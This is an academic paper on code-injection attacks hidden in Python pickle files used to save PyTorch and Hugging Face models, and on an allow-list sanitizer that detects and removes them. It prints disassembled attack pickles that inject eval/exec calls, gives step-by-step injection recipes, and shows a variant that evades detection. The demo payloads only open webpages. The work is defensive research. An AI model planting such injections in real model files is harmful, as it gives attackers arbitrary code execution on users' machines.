Keeping Our Pickles Edible

Alfredo Rivero
Stony Brook University

Sai Tanmay Reddy Chakkera
Stony Brook University

Shreejay Jahagirdar
Stony Brook University

Sanskar Sehgal
Stony Brook University

Summary

We studied Python's serialization module, pickle, with the goal of identifying possible sanitation methods for code-injection attacks found within models saved using Hugging Face's pickle-dependent serialization tools. We observed that Hugging Face's serialization tools save only a model's state dictionary using pickle, allowing our team to implement an allow-list-based sanitation tool for a selection of code-injection attacks. We generalize this tool for all PyTorch models whose state dictionary is saved within a pickle file. While building our sanitizer, we also identified a difficult-to-sanitize and separate selection of code-injection attacks we refer to as interwoven exploits. Finally, we propose our allow list sanitizer as a security tool adaptable to other pickle files, most notably models built using Sci-Kit Learn.

1 Introduction

Pickle, Python's serialization module, is used extensively in machine learning frameworks such as PyTorch when saving and reconstructing model weights. These weights can later be uploaded to public machine-learning forums and model-sharing hubs, making pickle files a soft target for opening backdoors into host machines and potentially extensive computing resources. And unfortunately, pickle's architecture and deserialization process is susceptible to arbitrary code execution.

Unlike other serialization tools that use a series of marshalling hints, pickle uses a virtual machine to "de-pickle" and reconstruct Python objects while keeping these objects' structures ambiguous and shareable. Marco Slaviero finds that the presence of pickle's virtual machine and the special opcodes `REDUCE` and `GLOBAL` leaves files open for abuse, allowing for arbitrary code execution through various opcode injection attacks [4]. Hugging Face has recently posted warnings to researchers and hobbyists of pickle's insecurity, but has abstained from direct action against model binaries containing malicious pickle files [**?**]. We believe the difficulty of vetting all models' safety has discouraged direct action, as model diversity and using different model serialization tools are common within machine learning. Indirect protections against malicious binaries, including hash-based model authentication schemes, could be considered, but would not protect against malicious model authors or malicious third-party model distributors.

Thus, our aim is to limit our supported model scope and produce a sanitizer for, initially, a single kind of ML model binary: PyTorch models serialized using Hugging Face's proprietary serialization tools. By doing so, we can examine pickle's serialization behaviour within a restricted environment, where only model weights are stored within a model's data. This restricted environment allowed us to identify operations relevant only to weight reconstruction, employ an allow list of acceptable Python code used during reconstruction, and extend our sanitizer to any serialization tool that stores only a model's state dictionary within pickled data. Ultimately, we find that our allow list approach has limitations imposed by a particular class of attacks that mix malicious and necessary reconstruction operations, but we also find that our approach is flexible enough to apply to other models (such as general PyTorch models and Sci-Kit Learn models) and pickle files.

```
    0: \x80     PROTO      4              Protocol version indicator.
    2: \x95     FRAME      33             Indicate the beginning of a new frame.
   11: ]        EMPTY_LIST                Push an empty list.
   12: \x94     MEMOIZE    (as 0)         Store the stack top in the memo.  The stack is not popped.
   13: (        MARK                      Push mark object onto the stack.
   14: \x8c     SHORT_BINUNICODE 'apple'    Push a Python Unicode string object.
   21: \x94     MEMOIZE    (as 1)         Store the stack top in the memo.  The stack is not popped.
   22: \x8c     SHORT_BINUNICODE 'banana'   Push a Python Unicode string object.
   30: \x94     MEMOIZE    (as 2)         Store the stack top in the memo.  The stack is not popped.
   31: \x8c     SHORT_BINUNICODE 'cucumber' Push a Python Unicode string object.
   41: \x94     MEMOIZE    (as 3)         Store the stack top in the memo.  The stack is not popped.
   42: e        APPENDS    (MARK at 13)   Extend a list by a slice of stack objects.
   43: .        STOP                      Stop the unpickling machine.
```

Figure 1: A small pickle program constructing a list of three items visualized using pickletools. An empty list and its elements are pushed onto the PVM's stack and reconstructed. MEMOIZE is used when interacting with the memo due to the usage of pickle protocol 4.

2 Technical Background

This section provides the technical background necessary to understand our approach to pickle sanitation within a restricted PyTorch serialization environment.

2.1 Pickle

Python's pickle module implements a serialization protocol that, unlike competing serialization libraries such as JSON, allows for storing arbitrary Python objects using a special binary format. This binary format is not directly human-readable and encodes assembly-like operations that will be processed using a stack through the Pickle Virtual Machine (PVM). The PVM aims to reconstruct a singular object encoded within a pickle file's multiple stack operations, each represented using byte-length opcodes and resulting in possibly-memoized intermediate Python objects during the PVM's runtime.

The PVM's stack is supplemented by an object memo, responsible for caching intermediate objects for future use during deserialization. In pickle protocol 3 or below, interacting with this memo is operated with `GET`/`PUT` operations defined as `BINPUT`/`LONG_BINPUT` and `BINGET`/`LONG_BINGET`, with a specific index of type byte/long given as an argument to store from or load to the top of the PVM's stack using the memo. In pickle protocol 4 and onwards, `MEMOIZE` replaces `BINPUT`/`LONG_BINPUT` operations, with the main difference being the usage of an auto-incrementing index argument used with each successive `PUT`-like operation.

Among these opcodes in pickle protocols 1-3, `GLOBAL` and `REDUCE` serve the unique purpose of defining and running object constructors defined as methods within Python. `GLOBAL` allows for the usage of Python methods from modules within the scope of the Python code responsible for deserialization. These methods are pushed onto the PVM's stack; and, if method arguments are pushed immediately afterwards onto the stack, `REDUCE` can call the method defined by `GLOBAL` using these arguments for arbitrary object construction. Within pickle protocol 4 and onward, `GLOBAL` is replaced by the `STACK_GLOBAL` opcode. A module's name, relevant module method name, and the `STACK_GLOBAL` opcode is pushed to the PVM's stack, executed, and used to construct a method instead of a single call to `GLOBAL`. Due to `STACK_GLOBAL`'s similar behavior to `GLOBAL`, we focus on pickle protocols 1-3 when describing our approach to attacks and sanitation unless necessary.

2.2 Possible Code Injection

The presence of both `GLOBAL` and `REDUCE` opcodes provide pickle with the flexibility necessary for reconstructing arbitrary Python objects but are also known security vulnerabilities within the pickle community[3][5][1]. No vetting is done on methods pushed onto the PVM's stack using `GLOBAL`, opening the door to `REDUCE` calls that create objects with potentially malicious side-effects. Yannic Kilcher demoed this vulnerability on PyTorch models serialized using Hugging Face's pickle-dependent serialization tools [2]. Kilcher replaces a method on the PVM stack responsible for constructing a dictionary with a "Bad Dict", a custom

```
SAFE DICTIONARY CONSTRUCTION
    0: \x80 PROTO      2                 Protocol version indicator.
    2: c    GLOBAL     'collections OrderedDict' Push a global object (module.attr) on the stack.
   27: q    BINPUT     0                 Store the stack top in the memo.  The stack is not popped.
   29: )    EMPTY_TUPLE                  Push an empty tuple.
   30: R    REDUCE                       Push an object built from a callable and an argument tuple.
   31: q    BINPUT     1                 Store the stack top in the memo.  The stack is not popped.
   33: (    MARK                         Push markobject onto the stack.

"BAD DICT" CONSTRUCTION
    0: \x80 PROTO      2                 Protocol version indicator.
    2: c    GLOBAL     '__builtin__ eval' Push a global object (module.attr) on the stack.
   20: q    BINPUT     0                 Store the stack top in the memo.  The stack is not popped.
   22: X    BINUNICODE 'exec(\'\'\'import webbrowser\nwebbrowser.open("https://ykilcher.com/pickle")
   \nimport sys\ndel sys.modules[\'webbrowser\']\n\'\'\') or dict()' Push a Python Unicode string
   object.
  155: q    BINPUT     1                 Store the stack top in the memo.  The stack is not popped.
  157: \x85 TUPLE1                       Build a one-tuple out of the topmost item on the stack.
  158: q    BINPUT     2                 Store the stack top in the memo.  The stack is not popped.
  160: R    REDUCE                       Push an object built from a callable and an argument tuple.
  161: q    BINPUT     3                 Store the stack top in the memo.  The stack is not popped.
```

Figure 2: The preamble responsible for constructing a dictionary object used for a Hugging Face model's state dictionary and an example of a "BAD DICT" attack. A GLOBAL command using Python's eval() method has been inserted such that a webpage will be displayed before providing a necessary dictionary object.

call to Python's built-in `eval()` method illustrated in fig. 2. By attaching code snippets executed using Python's built-in `exec()` method to a valid and necessary dictionary's construction, Kilcher can open a webpage without a user's consent. This attack can be generalized even further, where an unnecessary object with malicious side-effects can be constructed using similar `GLOBAL` and `REDUCE` commands and simply popped off the PVM's stack upon construction.

2.3 Hugging Face Serialization

Unfortunately, vetting methods pushed onto the PVM's stack is very difficult among many pickle serialization/deserialization scenarios. It is not uncommon for pickle files to store GLOBAL and REDUCE operations that call object constructors during deserialization. These constructors are potentially unique, previously unseen, and essential during deserialization. However, by limiting our scope to ML models serialized using Hugging Face's serialization tools, we find an opportunity for method vetting and sanitation. As mentioned in our progress report, serialized Hugging Face models are particularly tractable due to their usage of Hugging Face's `save_pretrained()` method, which in turn *only* saves the model's state dictionary within pickled data in a data.pkl file. We find that this behavior of only saving a model's sate dictionary follows other serialization approaches, including exclusively saving a model's state dictionary using PyTorch's `torch.save()` method. We find that only a select few methods and modules (such as tensor base classes, floatStorage, ordered dictionary etc.) are necessary within Hugging Face and other dictionary-based serialization scenarios for safe model construction, opening the door for method vetting and the removal of REDUCE operations responsible for creating objects with potentially malicious side-effect.

3 Attack Formulation and Injection

We identified two possible directions for code injection within pickle files. First, would be relying on executing Python methods defined within the scope of deserialization. Under this direction, methods from already-imported modules would be passed into the PVM using the `GLOBAL` opcode and executed with a `REDUCE` call. One limitation of this approach is an attacker's inability to execute any code outside of the deserializer's scope.

```
SEQUENTIAL EXECUTION: NO RELIANCE ON MEMO FOR METHOD
    0: \x80 PROTO      2              Protocol version indicator.
    2: c    GLOBAL     'collections OrderedDict' Push a global object (module.attr) on the stack.
   27: q    BINPUT     0                         Store the stack top into the memo.  The stack is not popped.
   29: )    EMPTY_TUPLE                          Push an empty tuple.
   30: R    REDUCE                               Push an object built from a callable and an argument tuple.
   31: q    BINPUT     1                         Store the stack top into the memo.  The stack is not popped.
   33: (    MARK                                 Push markobject onto the stack.
   34: X        BINUNICODE 'model.backbone.conv_encoder.model.conv1.weight' Push a Python Unicode string object.
   85: q        BINPUT     2          Store the stack top into the memo.  The stack is not popped.
   87: c        GLOBAL     'torch._utils _rebuild_tensor_v2' Push a global object (module.attr) on the stack.
  120: c        GLOBAL     '__builtin__ exec' Push a global object (module.attr) on the stack.
  140: X        BINUNICODE 'import webbrowser\nwebbrowser.open("https://www.youtube.com/watch
  ?v=gDjMZvYWUdo")\nimport sys\ndel sys.modules[\'webbrowser\']\n' Push a Python Unicode string object.
  269: \x85     TUPLE1                Build a one-tuple out of the topmost item on the stack.
  272: R        REDUCE                Push an object built from a callable and an argument tuple.
  275: 0        POP                   Discard the top stack item, shrinking the stack by one item.

SEQUENTIAL EXECUTION: RELIED ON MEMO FOR METHOD
  . . .
  818: \x89         NEWFALSE                          Push False onto the stack.
  819: h            BINGET     0                      Read an object from the memo and push it on the stack.
  821: c            GLOBAL     '__builtin__ exec'     Push a global object (module.attr) on the stack.
  839: q            BINPUT     51                     Store the stack top into the memo.  The stack is not popped.
  841: 0            POP                               Discard the top stack item, shrinking the stack by one item.
  . . .
 1071: h            BINGET     51                     Read an object from the memo and push it on the stack.
 1073: X            BINUNICODE 'import webbrowser\nwebbrowser.open("https://www.youtube.com/watch
 ?v=gDjMZvYWUdo")\nimport sys\ndel sys.modules[\'webbrowser\']\n' Push a Python Unicode string object.
 1200: \x85         TUPLE1            Build a one-tuple out of the topmost item on the stack.
 1201: R            REDUCE            Push an object built from a callable and an argument tuple.
 1202: 0            POP               Discard the top stack item, shrinking the stack by one item.
```

Figure 3: Examples of Sequential Execution attacks. The top attack does not use a memo entry to retrieve a desired method (exec()). The bottom attack stores a desired method in the memo and uses it at a later time for an attack.

This limits possible attacks and leaves a malicious party guessing what Python code is within reach during serialization. However, one module is always within reach for all Python code executed: __builtins__. Our second direction for code injection relies on exclusively pushing methods from this module, specifically eval() and exec(), onto the PVM's stack for near arbitrary code execution. We find the greatest flexibility for code injection starting from this second direction and focus on it within our examples.

3.1 __builtins__'s eval and exec

Python's __builtins__ module provides direct access to all "built-in" identifiers of Python, including essential operations such as Python's range() and open() calls used while looping and for file input/output. Among these operations, eval() and exec() are included. Both serve similar purposes of code execution using string-bound code snippets or singular expressions, with exec() in particular allowing for unrestricted code execution within the scope of deserialization. Using exec(), a malicious attacker can circumvent the deserializing code's scope, importing any modules necessary for an attack and even the ability to cover their tracks by deleting any imported/defined modules/variables.

3.2 Attacks

All attacks developed inject and execute methods within a deserializer's scope. Due to pickle files' lack of human readability, attacks are injected using direct byte manipulation. Specifically, malicious `GLOBAL` and `REDUCE` reduce operations are introduced in a variety of configurations.

3.2.1 Sequential Execution

This is the simplest attack we developed and can make use of the PVM's memo for repeated and more complex code injection. This attack and its memoized variant can be describe as follows:

0. If implementing a memoized variant of this attack, insert your desired malicious method into the PVM's memo using `BINPUT` or `LONG_BINPUT`. `POP` this now created method off the stack once done.
1. Push the desired malicious method onto the PVM's stack using `GLOBAL`. If implementing a memoized variant, push the desired malicious method by retrieving it from the PVM's memo using `BINGET` or `LONG_BINGET` instead.
2. Push the malicious method's arguments onto the PVM stack as unicode strings using `BINUNICODE`.
3. Create a tuple of all arguments using `TUPLE` opcodes including `TUPLE1`, `TUPLE2`, etc.
4. Make a `REDUCE` call using our malicious method and argument tuple. This will create an object on the stack.
5. Pop the `REDUCE` call's created object off the stack using a `POP` call.

This attack, demoed in figure 3, can be safely inserted into any pickle file as long as the PVM's memo is unaffected (i.e. nothing within these steps is memoized using `BINPUT`, `LONG_BINPUT`, or `MEMOIZE`). If something is memoized, successive calls *after the attack* to `BINPUT`,`LONG_BINPUT`, `BINGET`, and `LONG_BINGET` must have their memo indices adjusted. `PUT`-like calls must have their argument indices incremented to reflect memo entries taken by the attack. `GET`-like attacks must also have their indices incremented, only if retrieving an object from a previous `PUT`-like call that has been incremented.

3.2.2 Nested Execution

This attack, demoed in figure 4, is a variant of the previous attack designed to obfuscate sanitation through recursive code execution. After any previous attack steps 0 - 5, recur back to step 0. Execute these new steps and optionally recur as much as necessary. This attack functions due to the previous attack's usage of only the topmost stack elements, leaving any previous stack elements on the stack unmodified.

3.2.3 Interwoven Exploits

This class of attacks leverages object dependencies during deserialization. For example, a model may need to reconstruct a fully-connected layer's bias tensor using PyTorch's _rebuild_tensor_v2(); if this method is replaced with a malicious equivalent that provides identical functionality, *but also carries out malicious operations*, a sanitizer would need to distinguish between necessary functionality and malicious operations, remove the malicious operations, and *still provide all necessary functionality*.

The deserializer's scope would be an issue, as a malicious equivalent is likely undefined. However, scope can be circumvented, again, through the use of eval() and exec(). Although exec() has no valid return value, eval() returns a Python expression's evaluated result (e.x. eval(6 + 4) returns 10). Therefore, a malicious expression can be constructed that evaluates attacker-defined code using exec() while also providing object dependencies. One notable example of a malicious expression is as follows:

```
eval(exec(malicious code) or dependency())
```

exec() returns None, which triggers the construction and return of the dependency defined within this expression. Thus, GLOBAL calls defining some dependent method are replaced with eval(), with REDUCE calls using this method reformatted to provide malicious expressions that still construct dependencies.

3.2.4 "Bad Dict"

This attack, demoed in figure 2, can be considered an interwoven exploit, replacing the OrderedDict() object constructed within Hugging Face model's pickle data with a malicious equivalent. This equivalent is defined similarly to the above sample malicious exepression, with an eval() statement defined as

```
eval(exec(malicious code) or dict())
```

```
NESTED EXECUTION OF TWO IDENTICAL ATTACKS
  . . .
  821: c            GLOBAL     '__builtin__ exec'  Push a global object (module.attr) on the stack.
  839: q            BINPUT     51                  Store the stack top into the memo.  The stack is
  not popped.
  841: X            BINUNICODE 'import webbrowser\nwebbrowser.open("https://www.youtube.com/watch
  ?v=gDjMZvYWUdo")\nimport sys\ndel sys.modules[\'webbrowser\']\n' Push a Python Unicode string object.
  968: c            GLOBAL     '__builtin__ exec' Push a global object (module.attr) on the stack.
  986: q            BINPUT     52                 Store the stack top into the memo.  The stack is
  not popped.
  988: X            BINUNICODE 'import webbrowser\nwebbrowser.open("https://www.youtube.com/watch
  ?v=gDjMZvYWUdo")\nimport sys\ndel sys.modules[\'webbrowser\']\n' Push a Python Unicode string object.
 1115: q            BINPUT     53     Store the stack top into the memo.  The stack is not popped.
 1117: \x85         TUPLE1            Build a one-tuple out of the topmost item on the stack.
 1118: q            BINPUT     54     Store the stack top into the memo.  The stack is not popped.
 1120: R            REDUCE            Push an object built from a callable and an argument tuple.
 1121: q            BINPUT     55     Store the stack top into the memo.  The stack is not popped.
 1123: 0            POP               Discard the top stack item, shrinking the stack by one item.
 1124: q            BINPUT     56     Store the stack top into the memo.  The stack is not popped.
 1126: \x85         TUPLE1            Build a one-tuple out of the topmost item on the stack.
 1127: q            BINPUT     57     Store the stack top into the memo.  The stack is not popped.
 1129: R            REDUCE            Push an object built from a callable and an argument tuple.
 1130: q            BINPUT     58     Store the stack top into the memo.  The stack is not popped.
 1132: 0            POP               Discard the top stack item, shrinking the stack by one item.
```

Figure 4: Example of a Nested Execution attack. Opens two webpages instead of one, doing so successfully due to the usage of only the top-most stack elements when attacking.

This attack must always be present at the start of a Hugging Face data.pkl pickle file or any pickle file containing a model's state dictionary, as the state dictionary is filled with model tensors following its construction.

4 Sanitation Approach

Our sanitation approach has two facets: (1) detection of malicious opcodes in the pickle file; (2) removal of such opcodes without breaking the pickle file. Detection of malicious opcodes is done using pickletools and allow-listing, which will be explained in sections 4.1, and 4.2, respectively. We describe our allow-list-based sanitation method for Hugging Face data.pkl pickle files and any pickle file containing a model's state dictionary in more detail in section 4.3.

4.1 pickletools

Python's pickletools module contains various constants relating to the intimate details of the pickle module and a few useful functions for analyzing pickled data. The contents of this module are useful for Python core developers working with pickle. For our use case, we utilize the `genops` method to analyze and sanitize pickled data. `genops` provides an iterator over all opcodes in a pickle file, returning a sequence of (opcode, arg, pos) triples. The opcode is an instance of an OpcodeInfo class (giving us information about said opcode), arg is the opcode's argument, and pos is the byte position at which this opcode is located in the pickle file. The `genops` function allows us to go through opcode data in human-readable form and scan for any opcodes defining modules that might be malicious.

Any `GLOBAL` opcode call will have as its argument the module being loaded, which can be classified as malicious/benign using our allow list. Any attack will also contain a `REDUCE` call dependent on a `GLOBAL` call with a malicious module outside our allow list, which can be detected using `genops`. In protocol 4 and above, the `GLOBAL` call is replaced by a `STACK_GLOBAL`, but a similar dependency is present. Thus, we identify `GLOBAL` calls with malicious methods, where they're defined or loaded from the PVM's memo at that start of an attack's process towards a malicious `REDUCE` call, and isolate the code snippet between this starting point and a final malicious-dependent REDUCE opcode. We flag these code snippets, and more specifically byte positions within a pickle file, for removal.

4.2 Allow List

As discussed in previous sections, our sanitizer detects malicious function calls in pickle files. This is done by comparing each function call in a pickle file to an allowed list of functions. This allowed list of functions was created by sampling models from Hugging Face and adding non-malicious function calls to our list. This was constructed by manually annotating the imports for a set of models and retrieving valid imports to ensure that we generated an exhaustive list of functions that were safe. We surveyed 50 random models from Hugging Face, extracted their pickle files, and appended the benign function calls found to our allow list.

4.3 Sanitizer

In the case of Hugging Face models, sanitation begins with an input binary file's data.pkl file. Hugging Face uses multiple methods to package models into binaries, a few of which are zip-like, tar-like and a stack-of-pickle files. data.pkl files are extracted from their binaries based on the specific method used to build them; doing so leaves us with a state-dictionary-like pickle file, ensuring our ensuing sanitation approach can be extended to similarly mentioned files. Next, these state-dictionary-like pickle files are read, and the protocol number for the pickle file is detected. This is followed by a detection run on the pickle file and attack scope resolution. This attack scope resolution considers all GLOBAL opcodes, identifies malicious methods imported by these opcodes, and resolves the code snippets responsible for attacks. These code snippets are deleted from the pickle file and replaced by an empty dictionary if we encounter a "Bad Dict" attack at the start of the file.

The sanitation process deletes opcodes which may cause the memoization indices and the references to those indices to be inconsistent. This may be illustrated using fig. 2, where if the attack is removed, i.e., byte number 2 through 160 gets deleted, the memo indices used by subsequent BINPUT opcodes start from 3. If any later opcode refers to memo indices 0 through 2, the unpickling process will complain and fail. To tackle this, we must offset the memo indices when putting them into the memo (BINPUT) and when getting them from the memo (BINGET). In protocol 4 and above, BINPUT/LONG_BINPUT gets replaced by MEMOIZE, for which index of the memo location to write is the number of elements currently present in the memo. This saves us the step of resetting the BINPUT/LONG_BINPUT arguments. However, BINGET are called similar to protocol 2, and their arguments need to be reset based on offsets.

Following these sanitation steps, a new file is created and written into. The pickle files are then put together again to reconstruct the binary file, which can be utilised as before.

4.4 Limitations

Our current sanitizer assumes all opcodes between GLOBAL and REDUCE calls connected to malicious attacks are infected. However, one might consider how an adversary might include code necessary for an object's construction somewhere in between the scope of an attack. Passing this through our sanitizer could result in the removal of an entire code snippet that could break a pickle file during its deserialization. This can be tackled to some extent by distinguishing between attack opcodes and safe opcodes using symbolic execution in the future. Due to the breakdown of GLOBAL into multiple opcodes in the form of BINUNICODEs and STACK_GLOBAL in protocol 4, new limitations to our method of detection and sanitation crop up. The attacker can get arbitrarily creative in the positioning of the two BINUINCODEs and STACK_GLOBAL in the pickle file such that the stack remains unchanged. This makes it difficult to detect the exact module being loaded, and sanitizing it even harder. An example of such an attack is given in fig. 5. This can be resolved to some extent by the above-mentioned method of symbolic execution to tell apart attack STACK_GLOBAL calls from original opcodes.

Interwoven exploits, similar to the "Bad Dict" attack demoed, are also an issue we couldn't resolve. If not expected in any particular place within a pickle file, we can not replace a malicious interwoven method with an expected safe equivalent. We would need to distinguish between necessary functionality and malicious code with any method, which cannot be done with a allow list. This would require a more complex endeavor, such is using an abstract syntax tree (AST) to parse and analyze any method used during serialization. Analyzing this code could be an endless, in-exhaustive rabbit hole we believe could reduce to solving the unsolvable halting problem, as we would need to identify

```
DETECTION EVADING ATTACK PROTOCOL 4
    0: \x80 PROTO      4              Protocol version indicator.
    2: \x95 FRAME      65904          Indicate the beginning of a new frame.
  ...
  109: \x94 MEMOIZE    (as 3)         Store the stack top into the memo.  The stack is not popped.
  110: 0    POP                       Discard the top stack item, shrinking the stack by one item.
  109: X    BINUNICODE '__builtin__'  Push a Python Unicode string object.
  125: \x94 MEMOIZE    (as 4)         Store the stack top into the memo.  The stack is not popped.
  126: h    BINGET     3              Read an object from the memo and push it on the stack.
  ...
  724: \x94 MEMOIZE    (as 104)       Store the stack top into the memo.  The stack is not popped.
  725: 0    POP                       Discard the top stack item, shrinking the stack by one item.
  726: X    BINUNICODE 'eval'         Push a Python Unicode string object.
  735: \x93 STACK_GLOBAL              Push a global object (module.attr) on the stack.
  736: \x94 MEMOIZE    (as 105)       Store the stack top into the memo.  The stack is not popped.
  737: X    BINUNICODE 'exec(\'\'\'import webbrowser\nwebbrowser.open("https://www.youtube.com/
  watch?v=gDjMZvYWUdo")\nimport sys\ndel sys.modules[\'webbrowser\']\n\'\'\')' Push a Python
  Unicode string object.
  876: \x94 MEMOIZE    (as 106)       Store the stack top into the memo.  The stack is not popped.
  877: \x85 TUPLE1                    Build a one-tuple out of the topmost item on the stack.
  878: \x94 MEMOIZE    (as 107)       Store the stack top into the memo.  The stack is not popped.
  879: R    REDUCE                    Push an object built from a callable and an argument tuple.
  880: \x94 MEMOIZE    (as 108)       Store the stack top into the memo.  The stack is not popped.
  881: 0    POP                       Discard the top stack item, shrinking the stack by one item.
  882: h    BINGET     104            Store the stack top into the memo.  The stack is not popped.
  ...
```

Figure 5: An example of the arbitrary placement of attack code in combination with MEMOIZE and POP calls. The first BINUNICODE call is made at byte 109, while the second BINUNICODE call is made at byte 726 quickly followed by a STACK_GLOBAL. The MEMOIZE at byte 724 stores the stack top into the memo and the POP following it may bring the first BINUNICODE (from byte 109) to the stack top leading to successful execution of the attack STACK_GLOBAL call. This kind of an attack can evade our detector.

during detection and sanitation which parts of the pickle file perform necessary object reconstruction and which parts are superfluous.

Our last major limitation includes accounting for protocol backwards compatibility when sanitizing files in pickle protocol 4. Due to pickle's legacy protocol support, an adversary may inject a protocol 1-3-based attack into a protocol 4 pickle file. Our sanitizer is able to detect and flag this scenario, but cannot sanitize such files. This "mixing" of protocols by an adversary could be resolved by adding additional logic when analyzing opcodes and encountering protocol mixing.

4.5 Evaluation

We evaluated our sanitizer using a red team and blue team approach that extended throughout our development of this project. Our red team consisted of one team member who was not familiar with our sanitizer and provided malicious pickle files of different classes that would simulate attacks on host machines. The remaining 3 team members (blue team), who focused on implementing our sanitizer, attempted to detect and sanitize malicious pickles given by the red team.

Our red team recreated sequential execution, nested execution, and "Bad Dict" attacks on 8 popular PyTorch models hosted on Hugging Face and the blue team evaluated the compatibility of our sanitizer. We abstained from testing any interwoven exploits as we knew they would fail and are a clear limitation of our sanitizer. After sanitation, model binaries were considered successfully sanitized if they could be loaded as valid PyTorch models without any errors.

We found that our allow-list-based sanitizer can identify sequential execution, nested execution, and "Bad Dict" attacks that are placed arbitrarily within a pickle file. This inspired us to test our methods in new domains (general-case PyTorch and scikit-learn) as well. While general-case

PyTorch models are very similar to Hugging Face models, we explore scikit-learn in the next section.

4.5.1 Sci-Kit Learn models

We found that Sci-Kit Learn doesn't implement state-dictionary-like functionality. Therefore, in order to achieve model persistence, a Sci-Kit Learn user must use pickle or joblib to store models such as MLPRegressors, RidgeRegressors, etc. Due to this, a serialized model may contain arbitrary but legitimate modules that are called into the stack. This leads to the brief expansion of our scope into a general-case pickle attack detection/sanitation (which is very difficult). However, if a user is fairly certain of the kind of models and modules they would expect in a model, we hypothesized a user could create an allow list accordingly. We tested this hypothesis by constructing an allow list for Sci-Kit Learn models. We do so through a similar approach as our PyTorch list by downloading 10 Sci-Kit learn pickles from Hugging Face, vetting benign methods, and attempting to sanitize them accordingly. We find that that these models are equally detectable and sanitizable.

5 Future Work

We find multiple ways to improve our current work. One could explore a static analysis, undertaking the more complex endeavor of using an AST to parse and analyze any method used during serialization. We'd expect to gain more attack coverage on interwoven exploits this way, but not perfect protection. Additional provisions could also be made in our tool to account for legacy support and protocol mixing in pickle files, allowing us to sanitize attacks of protocol 2 in pickle files of protocol 4. Additionally, we could aim to explore the existence of attacks in in-the-wild. We could explore more models on Hugging Face, where random PyTorch models could be scraped and tested using our sanitizer. This would give us some information on how widespread these kinds of attacks may be with the ML community.

6 Conclusion

We identified a variety of attack categories, all of which allow for arbitrary code execution, and manged to create a sanitizer for models saved using PyTorch's pickle-dependent serialization tools, most notably Hugging Face. Our team was able to implement an allow-list-based sanitation tool for a selection of code-injection attacks, though with one notable limitation with regards to interwoven exploits. We find that these exploits are difficult to sanitize using our approach, but nonetheless find that our approach generalizes well to all PyTorch models whose state dictionary is pickled and even Sci-Kit Learn models with a separate allow-list.

References

[1] Elhage, N. Exploiting misuse of Python's "pickle", 2011. [Online; accessed 1-Nov-2022].

[2] Kilcher, Y. The hidden dangers of loading open-source AI models., 2022. [Online; accessed 1-Nov-2022].

[3] Sangaline, E. Dangerous Pickles - Malicious Python Serialization, 2017. [Online; accessed 1-Nov-2022].

[4] Slaviero, M. Sour Pickles: Shellcoding in Python's serialization format, 2011. [Online; accessed 1-Nov-2022].

[5] Sultanik, E. Never a dill moment: Exploiting machine learning pickle files., 2021. [Online; accessed 1-Nov-2022].